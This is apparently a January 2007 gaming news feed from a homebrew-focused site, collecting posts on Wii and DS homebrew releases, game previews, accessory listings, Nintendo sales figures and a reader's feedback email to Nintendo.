Some gaming site is claiming that Firefox is coming to Wii, heres the info:
Good news to all the Firefox fanboys out there. The popular free browser is coming soon to the Nintendo Wii, says Satoru Iwata. The free Firefox browser will be available as a free download for Wii owners. It features a scrolling method called ‘Motion-Browse’ which allows you to use a combination of buttons and wrist flicks to navigate the web. Text input has also been simplified with predictive text that works with the wiimote to enter text at an astounding 50 words per minute. That’s faster than most people type. I’m excited about this new browser, which looks to change the way we surf the web forever. All I can say is bring it on.
Most likely rubbish but who knows for sure?
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January 24th, 2007, 20:43 Posted By: wraggster
CWiid is a Linux interface to the Wiimote written in C. The goal of this project is to develop a working userspace driver along with various applications implementing event drivers, multiple wiimote connectivity, gesture recognition, and other Wiimote-based functionality. The library developed for this project is (almost) a full-featured programming interface to the Wiimote
Download Here
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January 24th, 2007, 20:47 Posted By: wraggster
via wiifanboy
In one of the coolest school projects we've seen to date, some kids got together and came up with the following project for the Carnegie Mellon University Entertainment Technology Center's Building Virtual Worlds Show. That's a mouthful, yes, and the demonstration shown in the video, available past the post break as per usual, took place on December 6th. Punching blocks and smashing Goombas with our own two hands? Sign us up!
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January 24th, 2007, 20:53 Posted By: wraggster
Erant has released a new program for the PC to connect your Wii to it:
Heres some info:
The DVD Tool usage is fairly simple, to read from memory, type
./dvdtool -s -r
So, if you wanted to read 0x40 bytes from 0x8000 (main memory start), you'd type
./dvdtool -s 0x40 -r 0x8000
The file argument is an optional argument for reading, if no valid file is specified,
the output is a formatted output to stdout. The -s argument is also an optional argument,
not specifying it will assume a default of 0x20 bytes.
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January 24th, 2007, 21:18 Posted By: wraggster
via dsfanboy
During a recent toy show held in Japan, Konami unveiled its latest card game for the DS. Complete with card reader, this is not to be confused with the upcoming Marvel Vs. game for the DS, PSP and PC (although, how cool would that be if it were?!). Apparently, the player mixes card-playing outside of the DS with gameplay through the handheld system, which sounds a bit complicated to us. Who knows though, this could be fun, right?
More Info
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January 24th, 2007, 21:20 Posted By: wraggster
via dsfanboy
A rather lengthy video for the upcoming Diddy Kong Racing DS has hit the internet and showcases several different aspects of the game experience. In showing the character selection screen, map functionality and racing carnage (planes FTW), the video does a wonderful job of bringing back some fond memories of the N64 title. We're looking forward to this, who else is with us?
Video Here
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January 24th, 2007, 21:32 Posted By: wraggster
Smealums FPS game is now an online game for the Nintendo DS:
Heres the google translation of whats new:
Addition of “Game Rooms” Installation of a dedicated waiter lodging 5 Game Rooms Disappearance (temporary) of the waiter in remote loading Linux version of the waiter (not yet available) New skins! Beginning of a migration towards a new style, a new play… Correction of some bugs
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January 24th, 2007, 21:34 Posted By: wraggster
More News from the CnCDS project
I had a busy weekend but back at it now. Got building build lists going and created my first construction yard. I started to add the ‘game mode’ that will be the building placement but that isn’t done yet. Not a great deal of progress but there you go ;p
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January 24th, 2007, 22:51 Posted By: shadowprophet
Message(#6851-000550-8735\5508735)
Hello and thank you for contacting Nintendo,
I appreciate your taking the time to share your comments regarding the Virtual Console. An updated preview feature would be very nice. I'm not trying to make you feel all warm and fuzzy, and as you know, an update like that may never happen; however, I have forwarded the suggestion to the appropriate department for further review. While you won't be contacted further regarding this, please rest assured that your feedback will be taken into consideration.
Have fun!
Nintendo of America Inc.
Joel Nicholson
Nintendo's home page: http://www.nintendo.com/
Power Line (Automated Product Info): (425) 885-7529
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ORIGINAL MESSAGE:
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From: shadowprophet@dcemu.co.uk
Posted At: 02:51:01.000 01/21/2007
Posted To: Nintendo <nintendo@noa.nintendo.com>
Subject: Webform: Wii > General Questions / Feedback
Dear Nintendo, I've written you before about the virtual console.
But that's not the point I wish to make this time.
I find myself at this moment with a stock pile of wii points and nothing to spend them on.
That's not to say there isn't a number of great games on the wii shop channel.
That's only to say I've bought all the games that I know I would love to play, and I look forward to future virtual console releases, in fact every monday I check the shop channel hourly to see if that weeks virtual console content has been released, What can I say. Im a huge retro fan.
However on to the criticism part. there are some games in the wii shop channel that interest me.
But for lack of better description and illustration, I find myself passing up those titles. Dungeon Explorer, Gunstar heroes, and Ristar come to mind.
Now I realize this is where this email is forwarded to someone in the virtual console department to give me a nice generic response with a personal touch to make me feel all warm and bubbly inside, followed by the pitch to join the Nsider forums and such.
But before you do that, Please consider that on standard definition televisions, while the (More Details) descriptions are pretty vague, the illustrations while adding some flavor are hard to view.
a magnification feature would be really nice in these areas along with more detailed descriptions.
And even though this isn't likely to happen, short videos of in game footage would be a welcome addition as well.
Now before this is disregarded as just a constructive view from a wii fan. Which it is.
Please consider that these features would be useful to help appeal to a wider rage of people with various eye sight conditions and even those who would like to know more information about the Game's they're about to take a chance on.
Regards, Shadowprophet.
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January 24th, 2007, 23:08 Posted By: wraggster
XParano has posted a new version of OrangeSnake for the PAlib Comp, heres the details:
It's basically a snake-type game, but with an evergrowing snake, there's no need to feed him, he grows by himself.
On the bottom screen, at the bottom right corner, a button will show every 3seconds:
press it, it will give you 150 points
don't press any button, it will removes you 100 points
press the wrong button, it will removes you 200 points, and makes your snake bigger
There are pills, and they give you 500 points and random good or bad bonuses: Grow / double speed / single speed / 5000 pts / Shrink (grows your snake / doubles his speed / set his speeds back to normal / add 5000 pts to your score /quite rare-Reduces the size of your snake)
Sometimes a ink stain will come accross the screen, just touch it with your own finger to make it disappear and add 350 pts to your score.
When you start a new game, you have 2 Stars (seen on the upper left of the upper screen, under your lives) that gives you access to the bonus stage, on the upper screen
Bonus stages allow you to reduce your size, by eating (yes, with his mouth, not his hair) your body pieces in a basic Pong lookalike game...
If you don't have anymore stars, you can still go there to "move" your snake's head position.
You gain 1 life after the first 50.000 pts, and after the following 100.000 pts
(PS: you will love my nicely MS-Paint drawn sprites, also, be aware, this is my second attempt to create something on DS, I should have discovered the joy of homebrewing earlier than 2weeks ago.
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January 24th, 2007, 23:11 Posted By: wraggster
via palib comes another release for their coding comp:
TheTrees - YACOT(Yet Another Clone of Tetris)
Set up full row of fruits to make them disappear. You lose if your fruits get stocked up to the top. Feels kinda stupid explaining rules of this game... It's almost like explaining pang... If there is any player out there who doesn't know what tetris is I'm much older than I think XD
You can gain levels every time you make 100 rows disappear, making blocks fall a little bit faster. There is hall of fame, you can choose one of 3 fruits to play with(orange, apple and citrus), you can choose your starting level if you don't like to sleep trough level 1 to about 30. Max level is 60.
Game automatically sets your name the same as you put in your DS settings. There is no possibility to change it for now, as it would be tedious to do it every time you start the game, while there is no saving.
What is done but not included in this release:
Music - I have everything coded and I have nice mods, but I don't really know how moders scene looks at using their mods like that without asking.
What I still have to do:
Whoops, I forgot "your top score" section to update, but without saving and with hall of fame it is not a problem
Name change!
Getting rid of 2 minor glitches that you might see
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January 24th, 2007, 23:14 Posted By: wraggster
Tails has posted his/her release in the Palib Coding comp:
Heres the release info:
The purpose of this game is to ... avoid 'em all
yes, but what do i have to avoid ?
you have to avoid the bad oranges which want to hurt your little red square very bad
you just have to use the stylus to move around the touch screen and avoid the oranges falling from the sky
to do so, you'll be helped by Super Tomato and Super Apple which will help you with extra bonuses such as slow motion or invincibility. just grab them to take them (super tomato is red and super apple is green. oranges are ... orange, avoid them !)
use them wisely, and with the left or right keys (left handed people can use corresponding keys Y and A)
Bonuses are cumulated and you use them when you want, with a limit of one at the same time
your life gauge is only here to forbid you to stay on the extreme left or right side of the touch screen. This area is not allowed at all, even with invincibility.
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January 24th, 2007, 23:34 Posted By: wraggster
via ign
Japan's biggest gaming craze recently got its first true Dragon Quest title. The result? Dragon Quest Monsters is all set to become the DS's next million seller, hinting at good things for Dragon Quest IX, which is also on its way to the DS.
And now, Square Enix is looking to continue the success on Japan's current hottest console. Dragon Quest Swords: Kamen no Jouou to Kagami no Tou (Masked Queen and the Tower of Mirrors) will be hitting the Japanese Wii this Spring, and Square Enix has already started up the hype, with an official site showcasing the characters, world, and even a gameplay trailer.
As detailed in our hands-on play test from last year, Dragon Quest Sword is markedly different from the main numbered Dragon Quest games, and even the Monsters offshoots. The game is based around Kenshin Dragon Quest, a year 2003 standalone game title which had players swing a sword at the television screen in order to take out Slime and other Dragon Quest creatures. That game was a huge hit in Japan, and the Wiimote allows Square Enix to replicate the sword peripheral without having to include a pricey motion-sensing device in every package.
Unlike Kenshin, Square Enix is giving Dragon Quest Sword the full package, complete with speaking characters -- a first for the series in Japan (the Japanese version of DQ8 was silent). In typical fashion for the series, you play as a nameless main character, which is more appropriate than ever here since the game takes place in the first person.
Other characters announced so far include Setia, a former priestess who worked in the castle town until heading out on adventure, Dean, a prince who happens to be skilled with a sword and magic, and Boud, your father. These characters contribute not just to the storyline, but also fight along side you in battle.
One area of our early play test that had us concerned was how limited the game seemed to be. The demo involved simply moving forward on a pre-set path and taking out beasts, without any chance for exploration. The game can be played with just the Wiimote, so we're not expecting the linear nature to change, but Square Enix at least seems to be preparing a reasonably large world. Set in the island kingdom of Alsword, your adventure will take you from the castle town on a western island of the kingdom to the forests and mountains of the main island. The tower of the title is located right behind your castle and promises to play a big part in the storyline, which itself still remains somewhat of a mystery.
DQS has a core staff that should be familiar to all Dragon Quest fans, with Yuji Horii, Akira Toriyama and Kouichi Sugiyama reprising their roles as general manager, character designer and composer. But in line with the new type of Dragon Quest game being offered here, there are some big new names as well. Manami Matsumae, known for his work at Capcom on Mega Man and Street Fighter II, is also working on composition. The development teams behind the game are also new to the Dragon Quest world. Genius Sonority, recognizable to anyone who's played Pokemon console games, is heading up planning on the title, with actual development taking place at Eighting, known by anyone who plays anime fighting games.
While the Wii has been an unquestioned success so far in Japan, third party titles have taken a back seat to Nintendo's own offerings. If anything has the chance to change that, it's Dragon Quest Sword. And who knows. Maybe Dragon Quest X will follow.
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January 24th, 2007, 23:36 Posted By: wraggster
via ign
Recently, we had a chance to visit EA's Redwood Shores office and go hands-on with several of the company's upcoming titles. Of course, there were all of the flashy games that we have come to expect from EA scattered around the demo room, but hidden away in one of the corners was a DS demo station setup to show off the soon-to-be-released Pogo Island, and we had a chance to take it for a ride.
Pogo Island is an offshoot of the popular casual gamer website Pogo.com. Pogo.com features a variety of games, all of them designed with the less hardcore gaming crowd in mind. Pogo Island for the DS takes five of the most popular games from Pogo.com and brings them to the DS, along with some added touch screen functionalities. In addition to this, the game also features a new story mode, wherein players must complete various mini-games scattered across a tropical island, as they seek to reunite several stranded Pogo mascots.
The five games included in Pogo Island are Tri-Peaks Solitaire, Poppit, Word Whomp, Squelchies, and Phlinx. Tri-Peaks Solitaire is just a slight variation on the classic card game, whereas Poppit, Phlinx, and Squelchies are all puzzle games based off of other more notable franchises. Squelchies plays out a lot like Bust-A-Move DS, complete with touch screen control over aiming. Phlinx is somewhat similar to Columns, and challenges players to reorganize groups of colored blocks. Poppit asks players to pop similarly colored balloons through use of the stylus. Word Whomp plays exactly like the popular flash game, Text Twist, where players must unscramble a batch of random letters to form as many unique words as possible.
What about PEEL?
In our admittedly limited time with the game, we found Word Whomp to be the most fun out of all of the games, closely followed by Squelchies -- but it may be our own love of anything even remotely related to Bust-A-Move that is making us think like that. Word Whomp seemed to have the most longevity of all the games, simply due to the fact that word challenges like this are some of the best ways to stave off boredom.
Of course, the object of all of these mini-games is more than just distracting yourself from reality. By playing the individual games as well as the story mode, players can earn tokens, which can be redeemed at Pogo.com to purchase clothes and items for your in-game avatar. When you start the DS game, you will be allowed to enter in your Pogo.com account information, and thereby synch your DS copy of Pogo Island with your online account. To us, this seemed like the biggest draw of the game, even though it only applies to those players who also have a Pogo.com account.
The game also features a multiplayer mode in the form of single-cart download play. Unfortunately, at this point, the only game that is playable over the ad hoc wireless network is Word Whomp. Despite the fact that this was our favorite game of the bunch, it is a little upsetting that there won't be more variety to the multiplayer experience.
The graphical style of the game is pretty simple, even for DS standards. Anyone who is expecting something more than a collection of the most popular Pogo.com games will be sorely disappointed. The games have gotten a slight makeover to accompany their move to the DS, but this is mostly a cosmetic change more than anything else. The games now have a Tropical Island theme to them, rather than the standard Pogo.com art style.
Currently under development by EA Canada at Vancouver, Pogo Island should be hitting the DS on March 26, 2007. If you are one of those out there that is in love with simple, addictive mini-games, then you will want to make a trip to Pogo Island.
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January 24th, 2007, 23:38 Posted By: wraggster
via ign
The first time we heard that a Diddy Kong Racing DS project was in the works was in a quick split-second blip of video footage during Nintendo's Electronic Entertainment Expo press conference. And beyond that...not a whole heck of a lot. Nintendo and Rare both kept a tight lid on the product since last May, but the game's all done and ready to ship for its February release date. Nintendo sent along an early copy of the game so we can get some playtime in before its launch.
Diddy Kong Racing DS is, essentially, a "port" of the game Rare created on the Nintendo 64 more than a half decade ago. But it's a port in the sense that Super Mario 64 DS is a "port" of the N64 game -- sure, the core game design's the foundation, but there's so much more added to the portable product.
Just as the original Diddy Kong Racing game shipped after Mario Kart on the Nintendo 64, so does the version on the Nintendo DS. And it presents the same dilemma: Mario Kart DS is already a fantastic, multiplayer-focused, online-supported racing game on the handheld, so Diddy Kong Racing steps into that strange role of trying to fill a void that honestly isn't there. How can Rare convince an army of die-hard Mario Kart racers to drop the familiar Mario line-up in favor of the company's generic grouping of furry critters?
Well, the game's hook is that along with the kart racing, you'll also skid around on hovercrafts and zoom through the air in planes. It's a traditional eight-player racing design, and players can only earn the necessary token to move forward by coming in first. Thrown into the mix is the weapon mechanics where players can scoop up rockets and oil slicks via balloons strategically placed over the track, and the collected weapon can be held and upgraded if you snag the same colored balloon while still possessing the weaker weapon. The rocket, for example, can be upgraded to a multiple rocket launcher, which can then be upgraded to a guided missile.
Diddy Kong Racing DS is yet another racing game that awards players a "rocket start" at the beginning of the race if they manage to pull off a specific task before the start of the race. But unlike other games where it's all about timing the acceleration before the flag drops, Diddy Kong Racing requires a little bit of skill -- in the car, you'll have to slide a finger/stylus rapidly down the touch screen to build up the charge. In the plane, you'll need to spin the finger/stylus in a circle. And in the hovercraft, you'll have to blow into the microphone. Gimmicky? Sure. But it's a nice diversion and slightly more creative than the usual "press the A button three ticks after the second green light" style of rocket boosting.
Though we've only played through about an hour of Diddy Kong Racing DS's racing progression, we'll note that the early portion doesn't quite offer the same sense of speed as Mario Kart DS does. This might be attributed to the fact that Diddy Kong Racing DS's engine runs at a casual 30 frames per second rate while Mario Kart DS flows at twice that. Diddy Kong Racing does, however, give players the ability to upgrade their vehicles, so we're expecting that as we get through many of the easier challenges that the faster crafts will make themselves available.
We still have much more to play in Diddy Kong Racing, so we'll be updating our impressions over the next few days, including our experience with some of the mini-games as well as the multiplayer functions. Diddy Kong Racing DS features five-player internet play, one more than Mario Kart DS.
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January 24th, 2007, 23:40 Posted By: wraggster
via ign
You've seen them at pretty much any pub in America. You know, sitting on the end of the bar, just begging for you to plunk in a few quarters for a quick game of Mahjongg or Solitaire. Even though Midway's slowly getting out of the arcade business, the Touchmaster machines are still a huge hit for the company, and now the publisher's bringing those simple little quickshot experiences to the one system that makes a whole lot of sense to do so: the Nintendo DS.
In the Summer, Midway will release Touchmaster, a collection of 23 games that have taken time and quarters away from drunken beerswiggers for the past few years: Gem Slide, Crystal Balls, Hot Hoops, MahKi, Mah Jonng Pairs, Pond Kings, Pairs, Target 21, 3 Peak Deluxe, Pyramid 13, Power Cell, Solitaire, Artifact, 5 Star General, Double Take, Go Wild, Up Lift, Times Square, Word Search, Triple Elevens, Trivia, Pick Up Six, and Wordz. They'll look, sound, and play just like their saloon brothers, right down to the touch-screen controls of the Nintendo DS.
Touchmaster will support the Nintendo Wi-Fi Connection service so players can submit high scores as well as participate in tournaments. It will also support local networking support as well as hot-seat, one-system multiplayer.
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January 25th, 2007, 07:40 Posted By: wraggster
Awesome new game for the Nintendo DS Released:
features
Players hold their Nintendo DS like a book and use the touch screen to grill characters, search for clues and solve mystifying puzzles.
Simple point-and-click touch screen navigation players of any skill level can play.
Innovative sketch animation character design, film noir camera angles, and dynamic lighting.
Kyle Hyde, a disgraced New York detective turned salesman, arrives at a run-down Los Angeles inn called Hotel Dusk. Once there, Kyle soon becomes involved in a 30-year-old mystery that involves lies, betrayal, kidnapping, and murder. And over the course of the night, he will also discover something very special about Room 215… a room that is said to grant wishes.
But who is Kyle Hyde? Why is he haunted by his past? And what happened in Room 215? Only by taking stylus in hand and navigating through the story's twists and turns can you learn the answers.
Buy at Play Asia
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January 25th, 2007, 19:57 Posted By: wraggster
The sequel to one of the DS' most innovative games, Ace Attorney: Justice for All, will be coming to UK on March 16.
You take control of Phoenix Wright, an attorney (presumably of the 'ace' variety), analysing evidence as you try to pick out the lies in the testimonials of criminals, and uncover the truth behind the mysteries at hand.
A new 'Psyche-Lock' feature gives Phoenix a new way of exposing the lies of hostile witnesses, answering a series of questions correctly or picking out inconsistencies in their statements.
via cvg
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January 25th, 2007, 22:05 Posted By: wraggster
News from Divineo USA is that the R4 DS Flashcart is now back in stock at their shop:
More info about the product:
The R4DS Cartridge is a DS SLOT-1 flash cart. This amazing little device matches the original DS cart size. It is a complete solution with no need to purchase any additional components or deal with any messy software and truly a easy media enhancer for DS and DS Lite.
Specifications & extra information
Features :
- Original DS cart sized device;
- Drag and drop files, NO software required;
- Play in SLOT-1 without Passcard or Flashme;
- Supports TF(MicroSD) capacity up to 4GB(32Gbit);
- Supports DS sleep mode;
- Supports FAT16/32 File System;
- Supports Screen touch sensitive;
- Compatible clean Rom, homebrew & moonshell;
- Compatible all version of DS;
- Intuitively upgradeable custom operating system.
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January 25th, 2007, 22:15 Posted By: wraggster
New from Divineo USA
Easy to set up, this wifi headphone includes a microphone for high quality voice communication on Nintendo DS and Nintendo DS Lite. The ear piece is fully adjustable for high comfort.
- Easy set-up
- High sensitivity wi-fi voice communication
- Designed for NDS and NDS Lite games
- Earphone includes soft cotton for user protection
- Microphone can be bent to fit perfectly
- Ear holder can be adjusted to be used on left or right ear
- High speed stereo or mono sound signal transmission
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January 25th, 2007, 22:23 Posted By: wraggster
New from Divineo USA
Experience a new level of sporting authenticity with the Wii™ Sports Pack™ from JOYTECH. Featuring a Racing Grip™, Golf Grip™ and Racket Grip™, each attaches quickly and safely to the Wii™ Remote and instantly enhances all Wii™ sports games. Ideal for use with ‘Wii™ Sports’.
Features
Racing Grip, Golf Grip and Racket Grip for use with Wii™ Remote
Ideal for use with Wii™ Sports games
Bring extra realism to your Wii™ gaming
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January 25th, 2007, 22:26 Posted By: wraggster
New from Divineo USA
Silicon Gloves
Stylish, tactile protective grip to personalise your Wii Remote.
This pack includes a Black glove with a Black Strap and a Clear Glove with a White Strap.
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January 25th, 2007, 22:28 Posted By: wraggster
New from Divineo USA
Protect and customize your Wii™ Remote with the Silicon Gloves from JOYTECH. Featuring four separate, high quality Gloves for the Wii™ Remote, each is differently coloured, proving ideal for multi-player gaming, allowing players to easily identify their Wii™ Remote whilst offering durability and protection.
Features
High quality Silicon Sleeves for your Wii™ Remote
Protects your Wii™ Remote from dust and scratches
Durable and easy to remove
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January 25th, 2007, 22:35 Posted By: wraggster
via eurogamer
Nintendo has denied that it has once again revised the design of the Wiimote strap, despite apparent photographic evidence to back up the claims.
"The four wrist straps on the left of that picture are not made by Nintendo," a spokesperson told Eurogamer this afternoon, referring to pictures showing replacement straps of a different design to those issued with the console and since.
The photographer had claimed that they were sent to him by Nintendo's replacement programme, which was implemented recently as a reaction to (slightly hysterical) complaints that Wiimote straps were flimsy and hazardous.
"There is no new wrist strap - they must be third party," the spokesperson concluded.
At the time of first offering replacements in mid December, Nintendo had said there was "absolutely nothing wrong" with the originals, which, it pointed out, had passed all the required safety tests.
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January 25th, 2007, 22:36 Posted By: wraggster
Nintendo has yet to confirm a European release date for Super Paper Mario on the Wii, a spokesperson admitted today, despite the game receiving a firm April date in the USA.
Earlier this week leaks from official US magazine Nintendo Power - since confirmed - suggested that the game would be out over there in just a few months.
The game was originally bound for the GameCube, but its extended development and the contrasting fortunes of the ageing Cube and rejuvenating Wii have since changed its focus.
A follow-up to N64 and Cube titles in the same series, and in some respects a sister series to the phenomenal Mario & Luigi handheld titles made by Alphadream, Super Paper Mario is keenly awaited by Nintendo and RPG fans alike.
So, er, we'd be a lot happier if there was positive news to relate. As soon as there is, we'll let you know.
via eurogamer
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January 25th, 2007, 22:47 Posted By: wraggster
via gamesindustry
The successful launch of the Wii and the continued strong performance of the DS has boosted Nintendo, with the company enjoying a 43 per cent rise in profits for the nine months ended December 31.
The company has recorded net profit of 131.9 billion yen (EUR 844.1m) in the first nine months of the fiscal year, up from 92.2 billion yen (EUR 590m) in the same period last year.
Sales climbed a massive 73 per cent to 712.6 billion yen (EUR 4.5bn) during April through to December, compared to 412.3 billion (EUR 2.63bn) the previous year.
Nineteen of Nintendo's software releases since April have sold over one million units, 13 of which were DS titles while three were for the Wii and three for the Game Boy Advance.
Sales of the Wii have reached 3.19 million units worldwide, according to Nintendo. 1.25 units have been sold in North America with 1.14 units sold in Japan.
Nintendo still expects to reach its target of six million global shipments by March 31, with seven million units manufactured by that date.
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January 25th, 2007, 22:47 Posted By: wraggster
via gamesindustry
The successful launch of the Wii and the continued strong performance of the DS has boosted Nintendo, with the company enjoying a 43 per cent rise in profits for the nine months ended December 31.
The company has recorded net profit of 131.9 billion yen (EUR 844.1m) in the first nine months of the fiscal year, up from 92.2 billion yen (EUR 590m) in the same period last year.
Sales climbed a massive 73 per cent to 712.6 billion yen (EUR 4.5bn) during April through to December, compared to 412.3 billion (EUR 2.63bn) the previous year.
Nineteen of Nintendo's software releases since April have sold over one million units, 13 of which were DS titles while three were for the Wii and three for the Game Boy Advance.
Sales of the Wii have reached 3.19 million units worldwide, according to Nintendo. 1.25 units have been sold in North America with 1.14 units sold in Japan.
Nintendo still expects to reach its target of six million global shipments by March 31, with seven million units manufactured by that date.
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January 25th, 2007, 22:58 Posted By: wraggster
via slashdot
The anecdotal evidence that's been going around, now that the Wii is an established fixture in American living rooms, is that Nintendo's new console still has room for improvement. We all had fun over the holidays, sharing Wii Sports with our relatives and watching our aunts laugh themselves stupid. Now, though, it's a new year and it's time for the Wii to step up as a gaming platform. It needs to be more than a Zelda player, and the console needs to prove that this 'new gen' style of play is sustainable over the long term. The post-launch round of games has started to trickle out, and the results are definitely mixed. Today I have for you impressions of Elebits and WarioWare: Smooth Moves. These are two games that show quite a bit of promise, but only one of which actually delivers. Read on for my views, and a return to a numeric grading scale.
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January 25th, 2007, 23:01 Posted By: wraggster
While industry watchers pined over which next-gen console was going to win the sales war this holiday season, Nintendo's DS walked away with the crown for all gaming hardware. The DS sold 1.6 million units in the US in December, ending an already positive year for the system with a bang.
Nintendo has tallied up recent figures for the DS in the entire Western Hemisphere, and today announced that 10 million DSes have been sold in the Americas since its launch in 2004. The company also claims that nine DSes have been sold every minute in North and South America since its debut.
Nintendo of America president Reggie Fils-Aime was proud of his company's portable, and boasted, "More than 5 million people joined the ranks as Nintendo DS owners in America last year alone. And right now, they're all saying the same thing--'give me more!'"
The gaming giant also unveiled the latest release schedule for DS games through March.
February
Diddy Kong Racing DS
Lunar Knights
F24 Stealth Fighter
Disney's Kim Possible: Global Gemini
Meteos: Disney Magic
Winning Eleven Pro Evolution Soccer 2007
Izuna: Legend of the Unemployed Ninja
March
Wario: Master of Disguise
Custom Robo Arena
Disney's Herbie: Rescue Rally
Disney's Meet the Robinsons
Spectrobes
Steel Horizon
Cake Mania
Puzzle Quest: Challenge of the Warlords
TMNT (Teenage Mutant Ninja Turtles)
via gamespot
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January 25th, 2007, 23:18 Posted By: wraggster
via gamesradar
With Nintendo's interstellar vulpine's latest adventure, Star Fox Command on DS, counting down to tomorrow's release, the game's producer, Takaya Imamura, has hinted that Wii might be the next destination for the popular series.
In an exclusive VIP interview with Nintendo of Europe, when asked if a Wii version of Star Fox was likely, Imamura replies: "I wonder how the adventure of Fox and friends is going to go next time?! I have come up with some idea in my mind but it is still just a small one. I will try my best so that I can deliver it to you some time!"
Of course, Fox McCloud setting a course for Wii wouldn't be surprising in the slightest - it is a long-running Nintendo fan favourite, after all - but that doesn't detract from the fact that battling to save the Lylat System using Wii's wizzy-wand would be something to look forward to with starry-eyed optimism.
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January 25th, 2007, 23:30 Posted By: wraggster
Don't forget, this Saturday the Wii News Channel launches, pumping Associated Press stories and photos directly to your television.
Hey, I'm on there sometimes, maybe you'll see my stuff. Sa-weet!
AP reports, go figure, that there are no "immediate plans" to sell advertising space on the New Channel and that news will be displayed through an interactive map.
"The beauty of it is it zooms in and out of areas of the world," said Perrin Kaplan, vice president for marketing at Nintendo's U.S. headquarters in Redmond. "So if you really want to focus on regional news or national news versus international, you just blow up the map of the U.S."
AP has a two-year contract to provide news and photos to Nintendo and might one day also provide multimedia as well. The contract includes the Associated Press providing news for the Wii in English, French, Spanish, Dutch, German and Swiss-German. Japanese news will come from Goo... that's right Goo!
via kotaku
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January 25th, 2007, 23:31 Posted By: wraggster
So your parents, grandparents, or sugar daddies have gone out and purchased this hot new Wii they've been hearing so much about, only now they don't know what to do with it. Sure, it came with pretty clear instructions, but those instructions were free, and you can't trust anything free. Enter Prima Games' new book, You & Wii: Everything You Need to Know. Due out February 6th, it contains vital information on the menu system, setting up your console, connecting to the internet...even creating photo puzzles, the main reason I bought the Wii in the first place.
Also in the book is a comprehensive Wii Sports strategy guide, with strategies and secrets galore. It also features an amazing customizable cover, thanks to included Mii stickers...you know, in case you and your loved one both get a copy of the guide and don't want them getting mixed up.
Kidding aside, this sounds like an excellent book for retail sales clerks to try and get you to buy when purchasing and new Wii console. For an additional $5 you can get the extended book warranty that allows you to replace it should you attempt to read it in the shower, something I can completely see someone who spends $17 on this guide doing.
via kotaku
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January 25th, 2007, 23:34 Posted By: wraggster
via kotaku
Andy writes over on Game People that the Gamecube Wavebird, now usable on the Wii, is starting to become quite popular. And by popular, he means expensive.
To prove his point he charted the price of the wireless controller over the lifespan of the GameCube and now the Wii. Check it:
The WaveBird has seen great fluctuations in price over its turbulent life. I recently put together the following list that shows the little fella's popularity reflected in its price (in my local and on-line retailers):
GameCube Launch Price £34.99 (Electronics Boutique)
Mid GameCube £27.99
Late GameCube £22.99 (Game)
End of Gamecube life £5.99 (WH Smiths Sale)
Wii Launch £17.99 (Play.com)
Post Christmas price £24.99 (Amazon.co.uk)
Sure, it's all anecdotal, but it makes sense. The Wavebird is a fantastic controller for GameCube games on the Wii. Developers may tell you next-gen is all about high-def, but that's not true, it's really just about wireless, sweet, sweet cable-free gaming.
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January 25th, 2007, 23:40 Posted By: wraggster
via joystiq
There's a fine line between being a fan and downright obsession, and taking 620 screenshots of a game as a you play it probably puts you in the latter category. GCTonyHawk7 from N-Europe can be best described as someone who takes his Legend of Zelda: Twilight Princess gameplay seriously. Very seriously. He's documented his way through the entire Wii version of the game with photos galore.
Check out his two web albums full of pictures that come direct from a capture card, and are 854x480. A word of warning that there are tons of spoilers in these images, since they detail encounters with everything in the game, up to the end. If you don't have a Wii yet, this is the perfect way for you to simulate playing the game.
More Info
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January 25th, 2007, 23:48 Posted By: wraggster
New for Nintendo Wii from SuccessHK
This soft rubber controller grip is made of good-quality PVC soft subber. It is newly designed with good touch-feeling.
Prevent sweat
Prevent slippery
Comfortable handle
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January 25th, 2007, 23:55 Posted By: wraggster
New for Nintendo Wii from SuccessHK
1800mAh Rechargeable Battery
USB Charger included
electronic parameter:
USB to DC 2.35x0.7 DC cable with direct plug
Battery Pack Capacity: 1800mAh Installation:
charging through special cable connecting with Wii console's or PC's USB port.
Well probably the best accessorie so far released for the Nintendo Wii, retails for USD 7.72.
Digg This
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January 26th, 2007, 00:18 Posted By: wraggster
via liquidice
We've just released a "Wii Friendly" version of the Clusty search engine that is a complete redesign of Clusty from the ground up:
http://wii.clusty.com
I think this may be the first search engine that is completely optimized for the Wii with a Wii look 'n feel, large text, automatic search submit, and nice rollover effects to make it easier to navigate
the clusters and search results.
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January 26th, 2007, 00:23 Posted By: wraggster
via carlkenner
I made a GlovePIE Skirmish game that you can play away from the computer.
You need:
* Two wireless sensor bars (or TV remotes or candles or whatever generates infra-red). Each person must wear one on their body somewhere so it won't fall off or break if they run around.
* Two Wii remotes
* One reasonably fast computer with Windows and a Bluetooth adapter with the two wiimotes connected.
* GlovePIE 0.29
* a friend
* A space where you can run around and shoot at each other, that is in range.
* The following GlovePIE script.
Instructions:
Each player puts on their wireless "sensor bar" and switches it on, and they pick up their connected wiimote. Then they press "Run" on the script. Then it will warn you that you have 10 seconds before the game will start. So run and get into position.
After the 5 seconds your weapon will start to charge up. When your weapon is charging it will beep five times then make a sound and vibrate which indicates that it is ready. Also the LEDs will come on one at a time while it is charging.
The lights on your weapon will be on when your weapon is charged and ready to fire. You can also check whether you are player 1 or player 2 by holding the A button. Or you can check player 1's score by holding the 1 button, or you can check player 2's score by holding the 2 button. It stops counting once it gets to 10.
You can shoot with the B button. The default maximum firing rate is five rounds per second, but you can change that at the top of the script. It will make a sound and vibrate when you shoot. If you hit the opponent then their remote will make a loud noise and power down for 7 seconds. Their weapon will beep very quietly while it charges up again. They can't shoot during that time, and they can't be shot again either.
The score will also be shown in the debug box on the screen, if you don't want to check it with the 1 or 2 button.
Code Via Comments, Use with Glovepie
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January 26th, 2007, 00:33 Posted By: wraggster
CWiid is a Linux interface to the Wiimote written in C. The goal of this project is to develop a working userspace driver along with various applications implementing event drivers, multiple wiimote connectivity, gesture recognition, and other Wiimote-based functionality. The library developed for this project is (almost) a full-featured programming interface to the Wiimote.
Download Here
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January 26th, 2007, 00:39 Posted By: wraggster
via wiiscripts
All need Glovepie on your PC
Opera Wii 0.2
Opera Wii 0.2 is a rebuild of the original now including nunchuk instead of wiimote however only some minor updates added.
Opera Wii 0.2
WiiMouse 0.4 Beta
WiiMouse 0.4 Beta uses the nunchuk and has been improved since 0.3 however little the updates are they still make the experience better.
Wii Mouse 0.4 Beta
Wii LED 0.1
This script allows you to simply control diffrent LEDs on the Wiimote using the diffrent buttons its very simple but is fun!
Wii LED 0.1
The Sims 2 Basic
This script allows a great control over The Sims 2 game and is fully compatible with every expansion pack!
